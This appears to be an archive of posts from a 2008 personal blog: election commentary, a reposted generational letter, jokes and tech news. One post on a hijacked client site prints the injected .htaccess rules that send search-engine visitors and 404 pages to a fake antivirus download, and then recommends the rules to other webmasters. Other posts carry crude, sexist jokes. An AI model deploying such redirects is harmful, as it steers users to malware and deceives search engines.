Hottie has words for Joe Biden on Sarah Palin

Well okay more like milf (if she’s a mom) but she literally lets her pit bull out in this video clip while egging Joe Biden to attack Sarah Palin in the debates.

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Letter to the Repblicans of My Parents’ Generation

I did not write this I was linked to it from this site, however I thought it warranted being shared and that site can’t be submitted to any social news sites.  I have messaged the Author letting them know this is posted but unless they ask me to take it down I will leave it up.

You may be right.

You probably make more than $250,000 a year, and that does mean that your taxes would probably go up if Obama were elected. There’s something bigger going on here, though. Something more important than your wealth.

I know, we’ve relied on your wealth our entire lives. We still rely on your wealth. And that is what is more important.

We are the first generation- we, Generation Y, or the Millennial Generation, or Twixters, or whatever you want to call us- we are the first generation to have less economic opportunity than our parents.

When you were our age, you could graduate from high school and get a job that would provide for you family. So many more of you went to college than your parents. Generation X, our predecessors, could count on a job out of college that would provide them the same. Now? With our bachelor’s degrees, we can get secretarial positions that pay us slightly more than minimum wage. If we’re lucky.

We are the first generation in the history of this country with less opportunity than you, our parents.

And that is was this election is about. Yes, you might lose some money to taxation, but you’re not going to get taxed out of your home. But you don’t have much to worry about. You’re set for life- you have Social Security. You have money already saved away for your retirement. We don’t.

And we know why you want to maintain your wealth. It’s for us. You want to know that your children, and our children, are provided for when you’re gone. And we appreciate that. But we want more- we want what you had when you were our age. We want to opportunity to build our own wealth, and to provide for our own families.

I think I understand you. Obama and his politics frighten you, because they are not FOR you. For the first time in your lives, this election is not about you. It is about us. It’s about whether we will start to shift our policies for the realities of OUR lives, and not for yours. It’s a statement that perhaps your time has passed. Of course that seems unfair- you’re still working hard, you’re still active and healthy, but that’s where we are now. The time seems to have come in this country to stop building policy around you, and to begin to build policy around us.

We are already worrying about providing our children with the health care. We grew up surrounded by the struggle of you and our friends’ parents trying to cover the health care expenses of children with ADHD and autism. We don’t even dream of making what you made when we were children. We see home ownership as a terrifying and impossible dream and risk at once, no longer a standard step towards adulthood and security. We are ready to start providing for our children, and you are terrified to take the next step in providing for yours. The step of letting them take charge of their own destinies.

Your fears are warranted. We don’t have the experience that you do, we don’t have the resources, or the opportunities. But we share with you one fundamental thing- our values. American values. We want to make a life for ourselves, to eke out our own niche, our own livings, and provide everything for our own families.

You will never be able to prepare us for this, but you are our parents. It’s your job to understand us and to support us. To help us make the right choices. Not to take all choices away from us.

Thank you for the past thirty years. They’ve been so different from the thirty years before, and we are different people than you were when you were thirty years younger. But you’ve finished your job, and we’re ready to claim our country.

Thank you to the girl from Chicago who shared this.

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Car Accident

Joke of the Week!!!

  1. Fred runs his wife Lisa over with his car
  2. Police arrive on the scene
  3. What is the first question the police ask Fred?

Why were you driving in the kitchen?

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Redirecting Visitors from Google and other Search Engines

Have you ever clicked a result in Google and gotten redirected to spyware? That may not be something running on your computer!  There is a new attack out there letting the baddies infect your local businesses website!

One of my clients from last year recently had their site hijacked by people with less than honorable intentions. All traffic coming from Google and all the error pages on the site were being redirected to a download for win antivir 2009.

The details are still emerging on how the site was compromised but from the information that I have I think the cause can be narrowed down to either an unpatched CMS or the host themselves was hijacked.   I have now locked down the CMS control panel down so you can’t access it via the web anymore, hopefully this keeps the baddies at bay for a little while.

Fun, Fun, for this company and even more fun for me since I had recently experienced this hijack as a user when Googling a local restaurants site.  Through whatever means they used to hijack the site they were able to inject the following into the .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://255.255.255.255/in.html?s=example [R,L]
Errordocument 404 http://255.255.255.255/in.html?s=example

The reason I am sharing this is that there are a lot of legitimate uses for this type of script,  I hope that some of you other webmasters out there can use it.  One example would be a site administrator who wanted to redirect search engine traffic to sign up pages while still letting Google index the site.

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Women in Computer Terminology

What if we could define Women in computer terms?

HARD-DISK Woman: She remembers everything, FOREVER.
RAM Woman: She forgets about you, the moment you turn her off.
WINDOWS Woman: Everyone knows that she can’t do a thing right, but no one can live without her.
EXCEL Woman: They say she can do a lot of things but you mostly use her for your four basic needs.
SCREENSAVER Woman: She is good for nothing but at least she is fun!
INTERNET Woman: Difficult to access.
SERVER Woman: Always busy when you need her.
MULTIMEDIA Woman: She makes horrible things look beautiful.
CD-ROM Woman: She is always faster and faster.
E-MAIL Woman: Every ten things she says, eight are nonsense.
VIRUS Woman: Also known as “WIFE”; when you are not expecting her, she comes, installs herself and uses all your resources. If you try to uninstall her you will lose something, if you don’t try to uninstall her you will lose everything

I know, I know, It’s a geeky “joke”.  Well sorry but I can’t post an adult related one every week.

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Furious Citizen has been Stumbled

Welcome StumbleUpon Visitors!!!

I’ve been so busy this weekend celebrating my Birthday (I turned 23 years old last week) that I didn’t check the server logs until this evening.   The Home Depot Joke hit it big on Friday and I have had 4,000 times normal traffic levels on here since.

Credit must be given to Wordpress for an awesome publishing platform and for the Super-Cache plugin that is keeping this site from crashing under all the traffic.

My guess is that this surge in traffic won’t last more than another day or two but I will be sure to share some more jokes on here because of this.  How would you feel if I were to share a dirty joke every Friday to keep you people interested?  Leave a comment with your answer.

And to all you crawling the site, Thank You for Visiting!!

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McCain and Palin pose

If McCain wanted nothing but a Woman with a pretty face he should have just picked his wife as his VP.

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Google axes Gmove and releases Google Email Uploader

Rumor gears are turning as it appears that Google has threatened legal action against LimitNone the company behind Gmove unless they immediately discontinued offering it.  This comes on the heels of the release of Google’s own utility dubbed Google Email Uploader.

If you try out the new product by Google let me know what you think.

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Microsoft Rebrands and Sells Unix

…. or at least they used to.  Misleading title aside, I just read up on this by follwing a link to Xenix from the MS-DOS entry on Wikipedia.  I haven’t been this scared in a long time.

Straight from the article:

Xenix was Microsoft’s version of Unix intended for use on microcomputers; since Microsoft was not able to license the “UNIX” name itself, they gave it an original name. The -ix ending follows a convention used by many other Unix-like operating systems.

Currently there are several “Xenix” bibles on ebay for sale [Search Results]

Spooky

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Poland responds to Russian Invasion of Georgia

Well…. They didn’t exactly call it a response but after more than 18 months of negotiations they have allowed the United States to build part of the missile defense shield inside of their borders.  This is a move that is likely to piss off Putin but it’s a win-win for the good ole’ US of A.

US and Poland agree to missile defence deal

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